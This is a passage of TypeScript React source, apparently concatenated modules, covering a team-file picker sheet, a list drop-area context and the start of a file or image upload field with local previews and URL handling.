narrowed to these types, and the sheet names them. */\n formats: readonly FileFormat[];\n /** A list field's picker: several rows may be chosen. One otherwise. */\n multiple?: boolean;\n /**\n * The most files a choice may add, a list's remaining room; unbounded when\n * absent. Counted as `chosenFilesAdded` counts them, against `held`.\n */\n maxChoices?: number;\n /**\n * The list's items. A chosen file whose address they hold adds nothing to\n * the list, nor does a second row naming a chosen file, so neither takes\n * any of `maxChoices`.\n */\n held?: readonly unknown[];\n open: boolean;\n onOpenChange: (open: boolean) => void;\n /** What was chosen, in the order it was chosen. The sheet closes after. */\n onUse: (files: SourceFile[]) => void;\n /**\n * Offered as \"Upload a file\" when the person holds no file of the field's\n * formats: the sheet closes, and this starts the field's own upload.\n */\n onUpload?: () => void;\n /**\n * What focus goes back to when the sheet closes: the row that opened it, as\n * a rule. Without it, focus goes back to whatever held it as the sheet\n * opened, which a browser that does not focus a clicked button leaves unset.\n */\n returnFocusTo?: RefObject<HTMLElement | null>;\n /**\n * Runs as the sheet closes, before focus goes back: `preventDefault()` on the\n * event and focus something else, as a field does with the file it now holds.\n */\n onCloseAutoFocus?: (event: Event) => void;\n /**\n * Holds the sheet shut, as the field is while it is disabled or a file is\n * arriving: an open sheet closes, writing nothing, and `onOpenChange` is\n * told so.\n */\n disabled?: boolean;\n}\n\n/**\n * \"Your team's files\": a bottom sheet below 1280px and a dialog from 1280px,\n * with the field's formats named under its title, the search, the Mine and\n * Everyone switch, the rows newest first, and one primary button at the foot.\n *\n * Closing it, by its close button, Escape, the backdrop or a swipe down, leaves\n * the field as it was: only Use writes. The sheet's state lives in its body,\n * which mounts when it opens, so it always opens on a fresh choice.\n */\nexport function FilePicker({\n open,\n onOpenChange,\n returnFocusTo,\n onCloseAutoFocus,\n disabled = false,\n ...props\n}: FilePickerProps) {\n const [drag, setDrag] = useState(0);\n // Shut from the render that holds it so, before the owner hears of it, so\n // nothing in the sheet can write in between.\n const shown = open && !disabled;\n useEffect(() => {\n if (open && disabled) onOpenChange(false);\n }, [open, disabled, onOpenChange]);\n // What held focus as the sheet opened, for a host that names no opener.\n // Read in a layout effect, before the sheet's own effects move focus in.\n const heldFocus = useRef<HTMLElement | null>(null);\n useLayoutEffect(() => {\n if (!open) return;\n const active = document.activeElement;\n heldFocus.current = active instanceof HTMLElement && active !== document.body ? active : null;\n }, [open]);\n return (\n <Dialog open={shown} onOpenChange={onOpenChange}>\n {shown && (\n <DialogContent\n layout=\"sheet\"\n onCloseAutoFocus={onCloseAutoFocus}\n returnFocus={() => returnFocusTo?.current ?? heldFocus.current}\n // A drag translates the panel while it lasts; at rest it has no\n // transform, which would make it the containing block of anything\n // `fixed` inside it.\n style={drag > 0 ? { transform: `translateY(${drag}px)` } : undefined}\n >\n <FilePickerBody {...props} onDrag={setDrag} onClose={() => onOpenChange(false)} />\n </DialogContent>\n )}\n </Dialog>\n );\n}\n\ntype FilePickerBodyProps = Omit<\n FilePickerProps,\n 'open' | 'onOpenChange' | 'returnFocusTo' | 'onCloseAutoFocus' | 'disabled'\n> & {\n onDrag: (offset: number) => void;\n onClose: () => void;\n};\n\nfunction FilePickerBody({\n source,\n formats,\n multiple = false,\n maxChoices,\n held,\n onUse,\n onUpload,\n onDrag,\n onClose,\n}: FilePickerBodyProps) {\n const s = useFieldStrings();\n const searchId = useId();\n const [search, setSearch] = useState('');\n const [query, setQuery] = useState('');\n const [scope, setScope] = useState<FileSourceScope>(source.initialScope);\n // Kept by row id across every search and both scopes, in the order chosen:\n // a choice survives a search, and Use counts what is chosen, shown or not.\n const [chosen, setChosen] = useState<ReadonlyMap<string, SourceFile>>(new Map());\n\n useEffect(() => {\n const next = search.trim();\n if (next === query) return;\n const timer = setTimeout(() => setQuery(next), SEARCH_PAUSE_MS);\n return () => clearTimeout(timer);\n }, [search, query]);\n\n const mediaTypes = useMemo(() => formats.map((format) => format.mimeType), [formats]);\n const labels = useMemo(() => formats.map((format) => format.label), [formats]);\n const load: LoadSourcePage<SourceFile> = (cursor, signal) =>\n source\n .list({ search: query, scope, mediaTypes, cursor, signal })\n .then((page) => ({ items: page.files, nextCursor: page.nextCursor }));\n const pages = useSourcePages(load, JSON.stringify([query, scope, mediaTypes]));\n\n // Whether `files` fit the list's room, counted in the files they would add.\n const fits = (files: readonly SourceFile[]) =>\n maxChoices === undefined || chosenFilesAdded(held, files) <= maxChoices;\n const toggle = (file: SourceFile) =>\n setChosen((previous) => {\n if (!multiple) return previous.has(file.id) ? previous : new Map([[file.id, file]]);\n const next = new Map(previous);\n if (next.has(file.id)) next.delete(file.id);\n else if (fits([...next.values(), file])) next.set(file.id, file);\n return next;\n });\n\n const choices = [...chosen.values()];\n const use = () => {\n if (choices.length === 0) return;\n onUse(choices);\n onClose();\n };\n const clearSearch = () => {\n setSearch('');\n setQuery('');\n };\n\n const status = pickerStatus(s, pages, query, scope, labels);\n\n return (\n <>\n <SheetHeader onDrag={onDrag} onClose={onClose}>\n <DialogTitle className=\"text-[20px]\">{s.filePickerTitle}</DialogTitle>\n <DialogDescription>{s.filePickerTakes(labels)}</DialogDescription>\n </SheetHeader>\n\n <div className=\"space-y-2 px-4 pb-3\">\n <div className=\"relative\">\n <label htmlFor={searchId} className=\"sr-only\">\n {s.filePickerSearch}\n </label>\n <Search\n className=\"pointer-events-none absolute top-1/2 left-3 size-4 -translate-y-1/2 text-muted-foreground\"\n aria-hidden=\"true\"\n />\n <input\n id={searchId}\n type=\"search\"\n value={search}\n onChange={(event) => setSearch(event.target.value)}\n // A form may sit inside a host's `<form>`: Enter in the search is\n // the search's, never a submit of the host's form.\n onKeyDown={(event) => {\n if (event.key === 'Enter') event.preventDefault();\n }}\n placeholder={s.filePickerSearchPlaceholder}\n autoComplete=\"off\"\n className={cn(\n 'h-11 w-full rounded-md border border-border bg-input pr-3 pl-9 text-[16px] text-foreground placeholder:text-muted-foreground',\n focusOutlineClass,\n )}\n />\n </div>\n <ToggleGroup\n type=\"single\"\n value={scope}\n // A single toggle group lets its pressed item be pressed off; the\n // switch always names one of the two.\n onValueChange={(value) => {\n if (value === 'mine' || value === 'everyone') setScope(value);\n }}\n aria-label={s.filePickerScope}\n className=\"grid grid-cols-2 gap-1 rounded-md border border-border p-1\"\n >\n <ToggleGroupItem value=\"mine\" className=\"h-11 w-full text-[15px]\">\n {s.filePickerMine}\n </ToggleGroupItem>\n <ToggleGroupItem value=\"everyone\" className=\"h-11 w-full text-[15px]\">\n {s.filePickerEveryone}\n </ToggleGroupItem>\n </ToggleGroup>\n </div>\n\n <p role=\"status\" className=\"sr-only\">\n {status}\n </p>\n\n <div className=\"min-h-0 flex-1 overflow-y-auto border-t border-border\">\n {pages.status === 'idle' || pages.status === 'loading' ? (\n <DimRows />\n ) : pages.status === 'failed' ? (\n <ListMessage text={s.filePickerFailed}>\n <ListAction onClick={pages.retry}>{s.tryAgain}</ListAction>\n </ListMessage>\n ) : pages.empty ? (\n query !== '' ? (\n <ListMessage text={s.filePickerNoMatch}>\n <ListAction onClick={clearSearch}>{s.filePickerClearSearch}</ListAction>\n </ListMessage>\n ) : (\n <ListMessage text={status}>\n {scope === 'mine' && (\n <ListAction onClick={() => setScope('everyone')}>\n {s.filePickerShowEveryone}\n </ListAction>\n )}\n {onUpload && (\n <ListAction\n onClick={() => {\n onClose();\n onUpload();\n }}\n >\n {s.filePickerUpload}\n </ListAction>\n )}\n </ListMessage>\n )\n ) : (\n <>\n {pages.items.length > 0 && (\n <div\n role={multiple ? 'group' : 'radiogroup'}\n aria-label={s.filePickerTitle}\n className=\"divide-y divide-border\"\n >\n {pages.items.map((file) => {\n const isChosen = chosen.has(file.id);\n return (\n <FileRow\n key={file.id}\n file={file}\n formats={formats}\n glyph={source.renderGlyph?.(file)}\n role={multiple ? 'checkbox' : 'radio'}\n chosen={isChosen}\n disabled={!isChosen && !fits([...choices, file])}\n onToggle={() => toggle(file)}\n />\n );\n })}\n </div>\n )}\n <MoreFooter pages={pages} />\n </>\n )}\n </div>\n\n <div className=\"border-t border-border px-4 pt-3 pb-[max(0.75rem,env(safe-area-inset-bottom))]\">\n <button\n type=\"button\"\n onClick={use}\n disabled={choices.length === 0}\n className={cn(\n 'flex h-12 w-full items-center justify-center rounded-md bg-primary px-4 text-[16px] font-medium text-primary-foreground transition-colors hover:bg-primary/90 disabled:cursor-not-allowed disabled:opacity-50',\n focusOutlineClass,\n )}\n >\n <span className=\"truncate\">{s.filePickerUse(choices.length, choices[0]?.name)}</span>\n </button>\n </div>\n </>\n );\n}\n\n/** What the sheet's one status line announces about the list. */\nfunction pickerStatus(\n s: FieldStrings,\n pages: SourcePages<SourceFile>,\n query: string,\n scope: FileSourceScope,\n labels: readonly string[],\n): string {\n if (pages.status === 'idle' || pages.status === 'loading') return s.filePickerLoading;\n if (pages.status === 'failed') return s.filePickerFailed;\n // Said before the rows still shown: the footer that shows it is not a live\n // region, so this line is what announces it.\n if (pages.more === 'failed') return s.loadMoreFailed;\n if (pages.items.length > 0) return s.filePickerShown(pages.items.length);\n if (!pages.empty) return s.filePickerLoading;\n if (query !== '') return s.filePickerNoMatch;\n return scope === 'mine' ? s.filePickerNoneMine(labels) : s.filePickerNoneTeam(labels);\n}\n\n/**\n * The sheet's head: the grab handle a bottom sheet is swiped down by, the\n * title and the line under it, and the close button.\n *\n * A swipe is a touch or pen drag that starts here and goes down; past\n * `SWIPE_CLOSE_PX` letting go closes the sheet, short of it the sheet springs\n * back. From 1280px the sheet is a dialog and has no handle, so a drag there\n * does nothing. A mouse never drags it: a mouse has the close button.\n */\nfunction SheetHeader({\n onDrag,\n onClose,\n children,\n}: {\n onDrag: (offset: number) => void;\n onClose: () => void;\n children: ReactNode;\n}) {\n const s = useFieldStrings();\n const start = useRef<number | null>(null);\n const offset = useRef(0);\n\n const onPointerDown = (event: PointerEvent<HTMLDivElement>) => {\n if (event.pointerType === 'mouse') return;\n if (window.matchMedia?.('(min-width: 80rem)').matches) return;\n start.current = event.clientY;\n offset.current = 0;\n };\n const onPointerMove = (event: PointerEvent<HTMLDivElement>) => {\n if (start.current === null) return;\n offset.current = Math.max(0, event.clientY - start.current);\n onDrag(offset.current);\n };\n const onPointerEnd = () => {\n if (start.current === null) return;\n const closes = offset.current > SWIPE_CLOSE_PX;\n start.current = null;\n offset.current = 0;\n onDrag(0);\n if (closes) onClose();\n };\n\n return (\n <div\n className=\"touch-none px-4 pt-2 pb-3 select-none\"\n onPointerDown={onPointerDown}\n onPointerMove={onPointerMove}\n onPointerUp={onPointerEnd}\n onPointerCancel={onPointerEnd}\n >\n <span\n aria-hidden=\"true\"\n className=\"mx-auto mb-2 block h-1.5 w-12 rounded-full bg-muted-foreground/40 xl:hidden\"\n />\n <div className=\"flex items-start gap-3\">\n <div className=\"min-w-0 flex-1 space-y-1 pt-1\">{children}</div>\n <DialogClose\n aria-label={s.close}\n className={cn(\n 'flex size-11 shrink-0 items-center justify-center rounded-full border border-border text-muted-foreground transition-colors hover:bg-muted hover:text-foreground',\n focusOutlineClass,\n )}\n >\n <X className=\"size-5\" aria-hidden=\"true\" />\n </DialogClose>\n </div>\n </div>\n );\n}\n\n/** The format a row's file is, named the way the field's hint names it. */\nfunction rowFormat(file: SourceFile, formats: readonly FileFormat[]): FileFormat | undefined {\n const type = file.mediaType ? normalizeMimeType(file.mediaType) : '';\n return formats.find((format) => format.mimeType === type) ?? formatOfFilename(formats, file.name);\n}\n\n/**\n * The row's second line: \"Test file\" first for a test file, then the type (the\n * host's word for it, else the format's label), the size, where the file came\n * from and when, each part only when known.\n */\nfunction rowMeta(s: FieldStrings, file: SourceFile, format: FileFormat | undefined): string {\n const parts: string[] = [];\n const type = file.typeLabel || format?.label;\n if (type) parts.push(type);\n if (file.size !== undefined) parts.push(s.fileSize(file.size));\n if (file.origin) parts.push(file.origin);\n if (file.createdAt) {\n const date = new Date(file.createdAt);\n if (!Number.isNaN(date.getTime())) parts.push(s.fileDate(date));\n }\n return parts.join(' · ');\n}\n\n/**\n * One file: a tap target of at least 64px holding the file's glyph, its name\n * and its second line. The glyph is the host's when its source draws one\n * (`glyph`), wrapped so it keeps its own size and stays decorative, and\n * otherwise the kernel's outline of a picture or a document, chosen by the\n * row's format. A chosen row shows the kernel's selected fill\n * (`--selected`) and a check, and says so with `aria-checked`, so the choice is\n * never shown by the fill alone. The fill, the check and the second line all\n * key on that one attribute (the row is the `group` its children read), so\n * none of them can disagree with what the row says: the fill outranks the\n * neutral hover fill and stays under the pointer that chose it, and the second\n * line turns to `--foreground` on it, as a pressed toggle's text does, where\n * `--muted-foreground` would fall below 4.5:1.\n */\nfunction FileRow({\n file,\n formats,\n glyph,\n role,\n chosen,\n disabled,\n onToggle,\n}: {\n file: SourceFile;\n formats: readonly FileFormat[];\n /** What the host's `renderGlyph` drew for the row; what draws nothing keeps the kernel's glyph. */\n glyph: ReactNode;\n role: 'radio' | 'checkbox';\n chosen: boolean;\n disabled: boolean;\n onToggle: () => void;\n}) {\n const s = useFieldStrings();\n const format = rowFormat(file, formats);\n const isImage = format?.mimeType.startsWith('image/') ?? false;\n const meta = rowMeta(s, file, format);\n const Glyph = isImage ? ImageIcon : FileText;\n return (\n <button\n type=\"button\"\n role={role}\n aria-checked={chosen}\n disabled={disabled}\n onClick={onToggle}\n className={cn(\n 'group flex min-h-16 w-full items-center gap-3 px-4 py-2.5 text-left transition-colors hover:bg-muted/60 disabled:cursor-not-allowed disabled:opacity-50',\n focusOutlineInsetClass,\n selectedCheckedFillClass,\n )}\n >\n {drawsNothing(glyph) ? (\n <Glyph\n className=\"size-6 shrink-0 text-muted-foreground\"\n strokeWidth={1.5}\n aria-hidden=\"true\"\n />\n ) : (\n // `flex` so an inline glyph sits on no text baseline, `shrink-0` so a\n // long name never narrows it; the size is the glyph's own.\n <span aria-hidden=\"true\" data-slot=\"file-row-glyph\" className=\"flex shrink-0\">\n {glyph}\n </span>\n )}\n <span className=\"min-w-0 flex-1\">\n <span className=\"block truncate text-[16px] font-medium text-foreground\">{file.name}</span>\n {(file.kind === 'test' || meta) && (\n <span className=\"block truncate text-[13px] text-muted-foreground group-aria-checked:text-foreground\">\n {file.kind === 'test' && (\n <span className=\"text-foreground\">\n {s.testFile}\n {meta && ' · '}\n </span>\n )}\n {meta}\n </span>\n )}\n </span>\n <Check\n className=\"invisible size-5 shrink-0 text-foreground group-aria-checked:visible\"\n aria-hidden=\"true\"\n />\n </button>\n );\n}\n","'use client';\n\nimport { createContext, useContext } from 'react';\n\n/** A file the list's drop area handed to the host for one of its rows. */\nexport interface PlacedFile {\n file: File;\n /** What the host's `onDropFile` returned for it: an upload's promise, or nothing. */\n upload: unknown;\n}\n\n/**\n * What a list that offers a drop area for several files tells the file fields\n * in its rows. Every list provides it around its rows, `null` when it offers no\n * such area, so the nearest list is the one that answers.\n *\n * A single file field that is handed a batch reads it to say where a batch\n * goes. And a row the area filled takes its file from it: the list hands the\n * file to the host itself, so without this the row would never see the file it\n * now holds, and would show none of what a file dropped on it directly shows -\n * the local preview once it lands, and a refusal on screen giving way to the\n * new file.\n *\n * The upload is the list's, never the row's, so nothing a row does can upload\n * a file twice. React's strict mode, which runs a new row's effects twice in\n * development, therefore costs that row its local preview there and nothing\n * else.\n *\n * Internal, and kept off `FieldEnv` on purpose: a member there would be public\n * API, and this is a fact one control tells another inside the package.\n */\nexport interface ListDropArea {\n /**\n * How many times the area has placed files. A new count gives the context a\n * new identity, which is what tells a row that is already mounted to look\n * for a file: a row the area fills is often one the person added and left\n * empty, mounted long before the drop.\n */\n generation: number;\n /**\n * Whether the area takes files now: it is shut while the form is disabled\n * and when a bounded list has no room left. A row handed a batch points to\n * the area only when it is open.\n */\n open: boolean;\n /**\n * The file the area placed in the row with this id, handed over once: a\n * second call for the same placement returns nothing.\n */\n takePlaced(rowId: string): PlacedFile | undefined;\n}\n\nexport const ListDropAreaContext = createContext<ListDropArea | null>(null);\n\n/** The drop area of the list this field is a row of, or `null` when it has none. */\nexport function useListDropArea(): ListDropArea | null {\n return useContext(ListDropAreaContext);\n}\n","'use client';\n\nimport { shownAsOptional } from '../core/readiness';\nimport { useCallback, useEffect, useMemo, useRef, useState } from 'react';\nimport { useDropzone } from 'react-dropzone';\nimport { Eye, EyeOff, FileText, ImageOff, Link2, Loader2, Upload, X } from 'lucide-react';\nimport { focusOutlineClass, focusWithinOutlineClass } from './role-tokens';\nimport { cn, isThenable } from './utils';\nimport type { FileRunField } from '../core';\n// Value imports come from the specific module, never the `../core` barrel - the\n// barrel reaches the gate and the gate reaches ajv. See docs/dependency-budget.md.\nimport {\n acceptLabel,\n acceptMap,\n formatOfFilename,\n isAcceptedFile,\n type FileFormat,\n} from '../core/file-formats';\nimport { viewableUrl } from '../core/native-content';\nimport { sourceFileValue } from '../core/sources';\nimport { FieldShell } from './field-shell';\nimport { encodedFileSummary } from './encoded-file';\nimport { fieldLabel, useFieldPresentation, type FieldPresentation } from './field-presentation';\nimport { useFieldStrings, type FieldStrings } from './field-strings';\nimport { fieldControlClass } from './field-styles';\nimport { useFieldDomId } from './field-dom-id';\nimport { FilePicker, FilePickerEntry, type FilePickerSource } from './file-picker';\nimport { useListDropArea } from './list-drop-area';\n\n/**\n * What the control refused: a file of a type the slot does not accept, or a\n * batch of several files dropped on a field that takes one. `over` is the\n * value's URL when it was refused, so a refusal describes that value only: a\n * file another writer puts in the field is a newer answer, and the refusal is\n * not shown beside it even for the one frame before an effect forgets it.\n */\ntype Refusal = ({ kind: 'type'; name: string } | { kind: 'batch' }) & {\n over: string | undefined;\n};\n\n/** The serializable value of a file field. URL is what the runner sends. */\nexport interface FileValue {\n url?: string;\n filename?: string;\n}\n\n/** What a host's upload resolves to: the stored file's URL, or its URL and name. */\nexport type UploadedFile = string | { url: string; filename?: string };\n\ninterface FileFieldProps {\n field: FileRunField;\n value: FileValue | undefined;\n /**\n * Called when a file is dropped/picked - the parent uploads and sets value.\n *\n * It may return the upload: a promise of what it stored, whose URL is the\n * one the host writes into the value. The control then knows its upload's\n * own result by that URL, so the dropped file's preview is kept for it\n * whichever render the host writes it in, and a rejection retires the\n * preview at once. Returning nothing leaves the control to judge the upload\n * by when its value lands (docs/upload-seam.md).\n *\n * Absent means the host cannot store a file, and the control then offers no\n * dropzone and no picker: the link input is open from the start, with a line\n * saying a file cannot be uploaded here.\n */\n onDropFile?: (file: File) => void | PromiseLike<UploadedFile | void>;\n /**\n * Whether the link input is offered, `true` when absent. `false` removes the\n * \"paste a URL instead\" toggle and the input behind it, and says nothing about\n * which values are valid. With no `onDropFile` either, the control throws.\n */\n allowUrl?: boolean;\n /** Manual URL paste / clear flows through here too. */\n onChange: (value: FileValue | undefined) => void;\n id: string;\n /** Parent-driven async state. */\n uploading?: boolean;\n /**\n * Why the host's upload of this field's file failed. Shown in the alert slot\n * a refused format uses, until the host removes it. A clear or a typed link\n * hides it until the host sends a different message or removes it; a refused\n * pick shows its refusal in its place.\n */\n uploadError?: string;\n /** Resolve a `pipelex-storage://` URI to a viewable URL (stored-file preview). */\n resolveUrl?: (uri: string) => Promise<string | null>;\n /**\n * Where the field can take a file the host already stores. When given, the\n * empty field offers \"Choose from your team's files\" under its own controls,\n * and the chosen file is written through `onChange` as `{ url, filename }`,\n * the value an upload writes. See docs/sources.md.\n */\n fileSource?: FilePickerSource;\n error?: string;\n disabled?: boolean;\n}\n\nconst IMAGE_EXT_RE = /\\.(jpg|jpeg|png|gif|webp|bmp|svg|avif)(\\?|$)/i;\nconst PDF_EXT_RE = /\\.pdf(\\?|$)/i;\nconst DATA_URL_MIME_RE = /^data:([^;,]+)/i;\n/** `http:` or `https:` - a link the person can read, and may have pasted. */\nconst WEB_URL_RE = /^\\s*https?:\\/\\//i;\n/** Any URL scheme at the start of the value: `pipelex-storage:`, `data:`, `blob:`, `ftp:`… */\nconst URL_SCHEME_RE = /^\\s*[a-z][a-z0-9+.-]*:/i;\n\n/**\n * Whether a file value's URL may be shown to an end user as it is: a web link,\n * or text with no scheme at all (`example.com/brief.pdf`), which is a link a\n * person typed rather than an address a host minted. Anything else carries a\n * scheme only the host can resolve - a `pipelex-storage://` reference above\n * all - and is not shown in `app`.\n *\n * The scheme-less half matters after a remount: the control no longer knows\n * what it typed, and a link typed without a scheme would otherwise be stored,\n * submitted and visible nowhere - blanked in the link input, and absent from\n * the card, whose title is only \"Attached file\" when there is no filename.\n *\n * Accepted limit: a scheme-less value with a port (`localhost:3000/x`,\n * `example.com:8080/x`) reads as having a scheme, since `localhost:` and\n * `example.com:` are valid scheme syntax, so it stays hidden until the person\n * types it again or adds `https://`.\n */\nfunction isReadableLink(url: string): boolean {\n return WEB_URL_RE.test(url) || !URL_SCHEME_RE.test(url);\n}\n\n/*\n * This control reads the kernel's URL gate directly - `viewableUrl` from core,\n * the same function the result view paints through.\n *\n * The gate moved to core when the result side needed the same answer: an input\n * control deciding whether to fetch a preview and a result view deciding whether\n * to paint an `<img>` are the same question, and answering it twice is how the\n * two drift. `data:` is the arm that used to be missing here, and its absence\n * cost a preview rather than a fetch: any URL that was not `http` got treated as\n * a stored URI needing `resolveUrl`, so a host with no resolver saw a spinner\n * that never stopped over a value the browser could have rendered immediately.\n *\n * It is the VALUE form and not the guard, deliberately. The guard answers the\n * question without handing back the string it judged, so a caller that then\n * paints the raw member paints something the gate never saw.\n */\n\n/** The MIME type a `data:` URL declares, which is the only type it carries. */\nfunction dataUrlMime(url: string): string | undefined {\n return DATA_URL_MIME_RE.exec(url)?.[1]?.toLowerCase();\n}\n\n/**\n * The URL an upload's answer names, or `undefined` when it names none: read\n * defensively, because a host's `onDropFile` is typed loosely enough to hand\n * back a promise of anything, and only a URL can be matched to the value.\n */\nfunction storedUrlOf(stored: unknown): string | undefined {\n if (typeof stored === 'string') return stored === '' ? undefined : stored;\n if (stored === null || typeof stored !== 'object') return undefined;\n const url = (stored as { url?: unknown }).url;\n return typeof url === 'string' && url !== '' ? url : undefined;\n}\n\n/**\n * A preview of the file this control's own dropzone just took, held until the\n * host writes the uploaded value back.\n *\n * The object URL is the only way to show a file the moment it is dropped: the\n * value the host writes is a `pipelex-storage://` URI the browser cannot\n * render. What it must NOT do is outlive the value it belongs to, and that is\n * what `boundUrl` is for - it used to win over `value` unconditionally and was\n * cleared only by this control's own clear button, so a host writing a\n * different file at the same path got a chip naming B over a preview showing A.\n */\ninterface LocalPreview {\n objectUrl: string;\n type: string;\n /**\n * Whether the host's `onDropFile` handed back its upload and that promise\n * has not settled yet. While it has not, the control waits for its answer\n * rather than judging the upload by when a value lands.\n */\n awaitingUpload: boolean;\n /**\n * The URL the upload answered it stored the file at: the value this\n * preview's upload writes, whichever render the host writes it in. Absent\n * until the answer, and for good when the host handed back no upload or one\n * that named no URL.\n */\n storedUrl?: string;\n /**\n * The `value.url` this preview is the preview OF, or `undefined` while the\n * upload it came from has not landed yet. The control cannot know the URL at\n * drop time - the host assigns it. When the upload answers with it\n * (`storedUrl`), the value holding that URL is adopted, and only that one.\n * When it does not, the first value that appears after the upload stops\n * being in flight is adopted instead. Either way any later change to a\n * different one retires it. An upload that ends without one, by failing or\n * by being forgotten, retires it too: nothing will arrive for it to\n * describe, and the next file written here by anyone else (a pick from a\n * list's sheet, an example) must not be painted with it. So does an upload\n * with no answer that stops under a value someone else wrote while it was in\n * flight (see `urlInFlight`).\n */\n boundUrl?: string;\n}\n\n/**\n * Whether a local preview describes the value whose URL is `url`: the value it\n * was adopted for, the one its upload answered it stored, or, while an upload\n * with no answer to give has not landed, whatever arrives.\n */\nfunction describesValue(local: LocalPreview, url: string | undefined): boolean {\n if (local.boundUrl !== undefined) return local.boundUrl === url;\n if (local.storedUrl !== undefined) return local.storedUrl === url;\n return !local.awaitingUpload;\n}\n\n/** Document variant: a file shown as a PDF preview (or chip for other docs). */\nexport function DocumentField(props: FileFieldProps) {\n return <FileField {...props} category=\"document\" />;\n}\n\n/** Image variant: a file shown as a real image preview. */\nexport function ImageField(props: FileFieldProps) {\n return <FileField {...props} category=\"image\" />;\n}\n\nfunction FileField({\n field,\n value,\n onDropFile,\n allowUrl = true,\n onChange,\n id,\n uploading,\n uploadError,\n resolveUrl,\n fileSource,\n error,\n disabled,\n category,\n}: FileFieldProps & { category: 'document' | 'image' }) {\n const s = useFieldStrings();\n const presentation = useFieldPresentation();\n const domId = useFieldDomId(id);\n const [showUrl, setShowUrl] = useState(false);\n // The last text the link input itself wrote into the value. See `urlText`.\n const [typedUrl, setTypedUrl] = useState<string | null>(null);\n // The preview is collapsed by default - opened on demand via a \"Preview\" button.\n const [previewOpen, setPreviewOpen] = useState(false);\n const [localPreview, setLocalPreview] = useState<LocalPreview | null>(null);\n // How a preview whose upload gave no answer (`storedUrl`) tells the upload's\n // own result from another writer's file: by when the value lands. This is the\n // value's URL as last seen while the upload was in flight, and whether it was\n // seen in flight at all. Such an upload's result is taken to land as the\n // upload stops, so a URL that was already there before it stopped, and is\n // still there after, was written by someone else while the file was arriving\n // - a host's `setValues`, say - and the upload has nothing for the preview to\n // describe. Without this the preview of a failed file was adopted as that\n // other file's, once its failure stopped being reported over a file that\n // replaced it. It is also why a host that hands back no upload must write\n // its result in the render it ends the flight: a render early, the result\n // reads as another writer's file; a render late, as an upload that stopped\n // with nothing. An upload that answers needs none of this.\n const urlInFlight = useRef<string | undefined>(undefined);\n const flightSeen = useRef(false);\n // Which local preview is current, counted by every change `setLocal` makes:\n // an upload's answer that arrives after its preview was replaced, cleared or\n // retired is about a preview that no longer exists, and touches nothing.\n const localGeneration = useRef(0);\n // Resolved lazily, only when the user opens the preview, so a closed field\n // never fetches a presigned URL. Keyed by the URI it was resolved FROM, the\n // way `LocalPreview` is bound to the value it is the preview OF - a cached\n // source with no record of its provenance is painted under whatever name the\n // value carries next. A `src` of `null` is the resolver's answer that it has\n // no URL for that URI - declined or failed - which is an answer, not a wait.\n const [resolved, setResolved] = useState<{ uri: string; src: string | null } | null>(null);\n const localUrlRef = useRef<string | null>(null);\n const [pickerOpen, setPickerOpen] = useState(false);\n // The attached file's card, where focus goes after a file is chosen, and the\n // row that opened the sheet, where it goes back otherwise.\n const cardRef = useRef<HTMLDivElement>(null);\n const pickerEntryRef = useRef<HTMLButtonElement>(null);\n\n const setLocal = useCallback((next: LocalPreview | null) => {\n if (localUrlRef.current) URL.revokeObjectURL(localUrlRef.current);\n localUrlRef.current = next?.objectUrl ?? null;\n localGeneration.current += 1;\n setLocalPreview(next);\n }, []);\n useEffect(() => () => setLocal(null), [setLocal]);\n\n /**\n * What the control refused, held locally until the next pick: a file the slot\n * does not accept, by its name, or a batch of several files dropped on a\n * field that takes one.\n *\n * Local rather than raised to the host, and that is the distinction to keep:\n * the host's `error` prop carries the GATE's verdict about a value, while this\n * is the control refusing to produce a value at all. Nothing is uploaded, so\n * there is nothing for a host to be told about yet.\n */\n const [rejected, setRejected] = useState<Refusal | null>(null);\n // The drop area of the list this field is a row of: where a batch goes, and\n // where a file it placed here comes from.\n const dropArea = useListDropArea();\n\n /**\n * The host's upload failure the user has since moved past without uploading,\n * by the message it carried.\n *\n * The slot shows whichever of a refusal and a failure came from the user's\n * latest action; the two never both belong to the current file, since a\n * refused file never reaches the host. A clear or a typed link leaves the\n * upload behind, so it sets this to the message on screen, which hides it\n * until the host sends a different one or removes it.\n *\n * A file handed to the host is the opposite case: a new attempt, whose\n * outcome only the host knows. So it forgets the dismissal and leaves the map\n * as the truth. Hiding the message there instead, by its text, could not tell\n * the old failure from an identical new one - a host that overwrites the\n * entry on each failure, or whose removal on the drop and re-send on a quick\n * failure land in one render, got a retry that failed in silence. A host\n * removes its entry when the next file is dropped, and the slot is shut while\n * the field is uploading anyway.\n */\n const [dismissedUploadError, setDismissedUploadError] = useState<string | null>(null);\n useEffect(() => {\n if (uploadError === undefined) setDismissedUploadError(null);\n // A failure arriving after a refusal is the newer answer, so it takes the\n // slot rather than sitting behind a refusal the user has seen.\n else setRejected(null);\n }, [uploadError]);\n const dismissUploadError = useCallback(() => {\n setDismissedUploadError(uploadError ?? null);\n }, [uploadError]);\n const failure =\n uploadError !== undefined && uploadError !== dismissedUploadError ? uploadError : null;\n\n // The field's own list, read three times below: the hint, the OS picker's\n // filter and the check in `handleFile`. All three used to be computed apart -\n // the hint from a label on the field, the filter and the check from the\n // kind's table - so a host that rewrote the label moved the hint alone, and\n // the picker went on offering files its server would refuse.\n const formats = field.formats;\n const hint = acceptLabel(formats);\n const accept = useMemo(() => acceptMap(formats), [formats]);\n\n // The two ways into the value, each offered exactly when the host can honour\n // it. The callback's presence is the upload capability; there is no second\n // flag to keep in agreement with it.\n const canUpload = onDropFile !== undefined;\n\n // A file on its way to the host, from the moment it is handed over: its local\n // preview, and the watch on what its upload answers. `heldUrl` is the URL the\n // value held when the file was handed over, which is what a URL already there\n // as the upload stops is told apart from (see `urlInFlight`).\n const track = useCallback(\n (file: File, upload: unknown, heldUrl: string | undefined) => {\n const awaitingUpload = isThenable(upload);\n setLocal({ objectUrl: URL.createObjectURL(file), type: file.type, awaitingUpload });\n urlInFlight.current = heldUrl;\n flightSeen.current = false;\n if (!awaitingUpload) return;\n // The upload's own word on what it stored, which is what tells its result\n // from another writer's file whichever render the host writes it in. A\n // rejection is an upload that will write nothing, so its preview goes\n // now, rather than waiting for a failure the host may never report: one\n // whose place another file took meanwhile is not marked as failed.\n const generation = localGeneration.current;\n Promise.resolve(upload).then(\n (stored) => {\n if (localGeneration.current !== generation) return;\n const storedUrl = storedUrlOf(stored);\n setLocalPreview((current) =>\n current ? { ...current, awaitingUpload: false, storedUrl } : current,\n );\n },\n () => {\n if (localGeneration.current === generation) setLocal(null);\n },\n );\n },\n [setLocal],\n );\n\n const handleFile = useCallback(\n (file: File) => {\n // Unreachable while the dropzone is disabled below, and kept so 